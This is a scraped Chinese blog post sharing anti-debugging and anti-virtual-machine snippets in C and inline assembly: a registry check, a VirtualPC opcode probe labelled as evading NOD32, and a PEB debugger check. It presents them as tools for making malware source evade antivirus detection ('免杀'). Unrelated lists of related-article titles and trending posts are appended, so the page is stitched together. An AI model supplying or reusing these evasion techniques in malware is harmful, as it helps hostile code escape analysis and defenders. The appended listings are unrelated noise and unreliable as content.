源码免杀只处理特征码还是不够的,必须要加入反调试代码,这样才能更持久更耐用。这里就发几个暗夜经常用的反调试代码给大家。

1.

HKEY ck;
char strreg[] = {'S','O','F','T','W','A','R','E','\\','O','D','B','C','\0'};
if(ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)strreg,0,KEY_ALL_ACCESS,&ck)) 
{
  return 0;
}
===================================================

2.
bool IsVirtualPC()//反nod32查杀
{
__try
{
  __asm
  {
   mov eax, 1
    _emit 0x0F
    _emit 0x3F
    _emit 0x07
    _emit 0x0B
    _emit 0xC7
    _emit 0x45
    _emit 0xFC
    _emit 0xFF
    _emit 0xFF
    _emit 0xFF
    _emit 0xFF
  }
}
__except(1)
{
  return FALSE;
}
return TRUE;
}

===========================================================
3.
if(IsVirtualPC())
{
  return 0;
}

_asm push esi;
_asm mov esi,46;
_asm inc esi;
_asm mov eax,dword ptr fs:[esi+1];
_asm mov eax,dword ptr ds:[eax+24];
_asm mov eax,dword ptr ds:[eax+12];
_asm cmp eax,2;
_asm pop esi;
_asm je Begin;
_asm lock dec ebx;
Begin:

源码免杀--反调试代码,免杀爱好者必备的利剑相关推荐

  1. 微信小程序:装B神器P图修改微信流量主小程序源码下载趣味恶搞图制作免服务器域名

    今天给大家带来的这一款小程序是装逼生成,趣味制图工具 该小程序免服务器和域名,低成本运营 内容丰富,搭建简单,而且更逼真哟 内涵N种模板制作,另外还可以设置推荐小程序更好的互引 简单说几个模板吧 红包 ...

  2. xjar加密后运行错误_XJar: Spring-Boot JAR 包加/解密工具,避免源码泄露以及反编译。...

    XJar Spring Boot JAR 安全加密运行工具,同时支持的原生JAR. 基于对JAR包内资源的加密以及拓展ClassLoader来构建的一套程序加密启动,动态解密运行的方案,避免源码泄露或 ...

  3. 【转载】ubuntu下linux内核源码阅读工具和调试方法总结

    http://blog.chinaunix.net/space.php?uid=20940095&do=blog&cuid=2377369 一 linux内核源码阅读工具 window ...

  4. android 12 源码编译与虚拟机调试

    android 12 源码编译与虚拟机调试 android 12编译环境搭建 安装android 12环境依赖 android 12源码下载 下载repo工具 repo工具下载 国内repo工具修改 ...

  5. 二、Neo4j源码研究系列 - 单步调试

    二.Neo4j源码研究系列 - 单步调试 一.背景介绍 上一篇我们已经把了neo4j的源码准备以及打包流程完成了,本篇将讲解如何对neo4j进行单步调试.对于不了解如何编译打包neo4j的读者,请阅读 ...

  6. nginx源码分析--使用GDB调试

    在学习优秀的源代码时是少不了源码的跟踪与调试,它不仅是我们解决程序bug的有效途径,也是我们理解.学习优秀源码的有效途径. 本文主要介绍一些源码调试的方法,并结合Nginx源码进行示例. 1,利用GD ...

  7. Soul 网关源码阅读(二)代码初步运行

    Soul 源码阅读(二)代码初步运行 简介     基于上篇:Soul 源码阅读(一) 概览,这部分跑一下Soul网关的示例 过程记录     现在我们可以根据地图,稍微探索一下周边,摸一摸      ...

  8. Soul源码分析 ——值得借鉴的代码技巧

    Soul源码分析 -- 可以复用的代码技巧 对bean的操作 设计模式的使用 线程池 线程池线程数 拒绝策略 SPI 加载工厂 java spi应用 自己实现spi Soul-common模块里所有工 ...

  9. java计算机毕业设计房屋租赁管理系统源码+系统+lw+数据库+调试运行

    java计算机毕业设计房屋租赁管理系统源码+系统+lw+数据库+调试运行 注意:该项目只展示部分功能,如需了解,文末获取源码地址. 临近学期结束,还是毕业设计,你还在做java程序.网络编程.课程设计 ...

最新文章

  1. python读取mtcars数据集并实现以下操作_Python可视化43 | plotnine≈R语言ggplot2,43plotnineR...
  2. TIANCHI-全球城市计算挑战赛-完整方案及关键代码分享(季军)
  3. 夺命雷公狗---DEDECMS----26dedecms面包屑导航的实现
  4. NOIP2017洛谷P3953:逛公园(分层图最短路、dp、拓扑)
  5. boost::interprocess::named_mutex的翻译和学习
  6. 函数节流(throttle)与函数防抖(debounce)
  7. 动态规划—最长上升子序列(POJ 1458)
  8. (62)FPGA面试题-用verilog写一段代码,实现消除一个glitch(毛刺)(一)
  9. android多板面式布局,Android Design
  10. Unity3D之UGUI基础3:Image图片
  11. Java==与equals方法的区别
  12. 【NOIP2011】Mayan游戏
  13. Binary String Constructing(CodeForces - 1003B)
  14. 使用的设备标识号已超出本地系统范围 VMware Workstation
  15. java编写监听器步骤_IT兄弟连 JavaWeb教程 监听器1
  16. 电脑上的ppt做不了计算机考试,ppt在有的电脑上打不开怎么办
  17. RabbitMQ(二)
  18. CC2530串口中断接收字符并且判断
  19. android模拟器安装教程视频教程,安卓模拟器安装教程 安卓模拟器怎么安装
  20. matlab画正态分布图简单算法

热门文章

  1. 类加载的双亲委派机制
  2. 超越95%面试者的秘籍 part 1
  3. RocketMQ的Producer详解之分布式事务消息(回顾事务)
  4. 摆放家具-定义房子类
  5. 字符串-文本对齐方法演练
  6. oracle解除死锁
  7. Android从url不产生cookie,如何从android.webkit.CookieManager获取所有cookie或cookie的URL
  8. mysql触发器如果某个字段被修改_mysql trigger触发器 一张表一个字段改变 更新另一张表对应字段...
  9. jquery datatable的详细用法
  10. python模块详解 time与date time